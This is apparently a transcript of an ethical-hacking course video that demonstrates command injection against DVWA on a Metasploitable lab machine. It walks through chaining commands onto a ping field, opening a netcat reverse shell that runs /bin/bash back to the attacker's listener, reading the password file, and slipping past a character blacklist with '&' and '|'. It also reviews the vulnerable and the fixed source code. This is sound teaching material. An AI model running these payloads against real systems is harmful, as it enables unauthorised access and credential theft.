Lecturer: Welcome back.
In this video we're going to cover
command injection vulnerability.
We already know what this is
and we already covered some type
of command injection in the previous video
once we exploited the Shellshock vulnerability.
However, now we're going to do it on the webpage itself.
So, do you remember this example
on the screen that we talked about?
Say we have a website
and that website can ping an IP address
that will tell it to ping.
And it will tell us whether that
IP address is offline or online.
Well, we are going to take a look
at this example inside of our Metasploitable.
So for this, you want to start your Kali Linux machine
and your Burp Suite inside of your Kali Linux machine.
Now, we won't be using Burp Suite in this specific video,
but nonetheless we must have it started
because we connected it to be the proxy to our Firefox.
If it is not open,
we won't be able to visit web pages.
After that, you also want to open up
your Metasploitable virtual machine
and check its IP address
and then we want to visit the command injection page
on our Metasploitable machine.
So go to your Firefox right here,
type in the IP address of your Metasploitable.
It will lead you to this official page
where we want to go to DVWA.
Let us log in with the credentials that they give us,
which is admin for the username
and password for the password.
Click on login.
We don't want to save these credentials,
and we want to go to the command execution
or otherwise known as command injection.
But before we attack it,
let us go to DVWA security
and set the security to low
because right now we can see
down here that the security level is set to high.
So let's go right here,
check this arrow and click on low.
Now so you can see everything better,
I'm going to zoom all of this in
and once you set the security level to be low,
you want to click on submit.
Great, now let's go back to our command injection.
So as we can see,
it tells us that we can ping an IP address for free.
So all we need to do is enter an IP address
and it will give us a result of
whether it is offline or not.
Let's give it a try.
If I type, for example, the IP address of my router
which is 192.168.1.1, and I click on submit,
let us see what it will tell us.
And here is the output.
It seems to work and it gives correct results.
My router is indeed up and running.
But if you take a closer look
at this output that we got right here,
it seems that this is the same output
that we get when running ping command
inside of a terminal, right?
So if I go to my Kali Linux machine
and I open the terminal
and I type the command ping 192.168.1.1
and I only want to ping it three times,
if I press enter, well, we pretty much
get the same result right here.
It will ping my router three times
and it will give us a similar output
to our Metasploitable page.
What does this mean?
Well, it most likely means that
this webpage forwards the command to the server,
which in our case is our Metasploitable machine,
and then that machine executes ping command
to determine whether that IP is up or not.
Another cool thing that we get with this page is
if I scroll down here, we can see "view source"
and this is the source code to this page.
So, we can see whether they filter the input or not.
But let us not check source code yet.
Let's not cheat
and let's just try to execute command injection
and get it to work.
So, how are we going to do that?
Well, we can try to execute two commands
inside of this input bar right here.
It does ask us for an IP,
but we can also try to (indistinct)
another command after we specify an IP address.
For example, if I type 192.168.1.1
and I type dot and comma to separate the commands,
and after it I type ls-la,
which stands for list all including hidden files,
and I click on submit and it works.
It gave us both results from the both commands back.
It pinged the router first and after it,
it executed the ls command.
And we can see what files our target has.
This means there is command injection vulnerability
because this is something that we shouldn't be able to do.
We shouldn't be able to execute other commands
outside of this ping command.
So, let us try different commands as well.
So, let us enter the same IP address then dot
and comma and then "whoami" for example.
And it does give us the output of that as well.
We are www-data.
Okay, but how can we exploit this and gain access
to the target with the help of this command injection?
It's quite simple, actually.
We can use netcat for that.
So, if we start listener in our Kali Linux terminal,
if I go right here and type nc-lvp,
and then I'm going to use the good old 12345 port.
I start my listener right here
and I go back to this page and run the following command.
So I type the IP address then dot and comma
and then nc-e where I tell it that I want
to execute /bin/bash and I afterwards
specify the IP address of my Kali Linux machine
which in this case is,
let me just check it out.
192.168.1.9.
So I specify right here 168.1.9
and the port is going to be 12345,
which is the same port from our listener.
I click on submit and if I go back to our terminal,
we got the connection right here.
So we exploited the command injection vulnerability.
We can run the commands, type ls,
go back and switch through the other directories
and we can check out all the other files.
Here is the password file,
so we can also check out the passwords.
We can check out other commands as well
and everything works great.
We exploited this target.
Let us exit out of this.
And now that we successfully exploited this vulnerability,
we can take a look at what the source code was.
So let's go down here, click on view source
and if I enlarge all of this,
so we can see it a little bit better,
if we take a look at it,
we will see that it didn't really filter any user input.
They just requested the IP that the user inputs
and they forwarded that IP address
to the ping command right here and right here
without any filtering whatsoever.
That was a big, big mistake since because of this,
we were able to gain access to the target system.
Now, let's give it a try on a medium security level
and let's see whether we can exploit it then.
So I'm going to close this source code,
go back to DBA security and change from low to medium.
Click on submit, and now the security level is medium.
Let's go back to the command injection.
And now that it is on medium level, let's give it a try.
Let's just start with the same thing that we did previously
and try to execute the ls command.
So if I go right here, type one 192.168.1.1
and then dot and comma, and then for example, ls-la.
If I click on submit, well, nothing seems to happen.
It doesn't seem to work anymore.
However, luckily this dot and comma
aren't the only ways we can run two commands.
If I go to my terminal,
if you type for example ls; whoami
it will execute both of these commands.
So it'll give us the output of these commands
and then Mr. Hacker as well.
But you can also do it like this.
Specify these two signs and then whoami,
and it will do exactly the same thing.
So let's give it a try like this.
Maybe they filtered this character
but they didn't filter it like this.
If I go here and type 192.168.1.1,
and then these two signs,
and then for example, ls-la once again,
click on submit and this will do the same thing.
It will still not work.
Okay, let's do the same thing
but just delete one of these signs that we put right here.
If I show you right here, copy the same command,
paste it right here, and I remove one sign,
it will once again execute both of these commands,
just as two different processes.
So it might execute one before another,
however, it will execute both of them.
Let us go right here and give it a try.
192.168.1.1 and then one of these signs and then ls-la.
Click on submit and it works.
We get the output of both ping commands
and the output of all of the files
inside of the current directory on that target system.
So, first two tries didn't work probably
because those characters were getting filtered and blocked.
But if we specified like this here,
then it seems to work.
It seems to bypass any security
and it executes our second command.
So if I go down here and we take a look at the source code,
I enlarge this so we can see the entire code,
it seems that they created some type
of a blacklist right here.
So they removed these characters
and this character right here.
So anyone that tries to specify
and command injection with these characters,
it will not work.
That's why this is medium security level
and you need to go through a few more commands
in order to bypass this.
However, it is still bad
because they filter some characters out
but others they don't filter at all.
For example, besides this one character that we used,
we can also exploit it using the pipe character.
So I can type 192.168.1.1,
and then the pipe, which is this upper line,
and then after it I specify ls-la.
And this will work as well.
As we can see, we get the output of ls-la command.
Great. Now, if we were to change the security level to high,
I think I read somewhere that high is an example
of how the code should be written
so it isn't really exploitable.
You can change it right here, you can submit.
And you can go to the command execution
and check out the source code right here.
It seems to only require the integers
and it checks whether all of your inputs are integers
and it splits the IP address into four octets.
It does that first, it splits it right here.
Then it checks if every octet is an integer,
and if it is an integer,
then it combines those octets once again back
and it pings that target.
Okay, so we have covered command injection vulnerability
and now you know how to try to find it and exploit it.
In the next video,
we're going to move on to the next vulnerability.
See you there.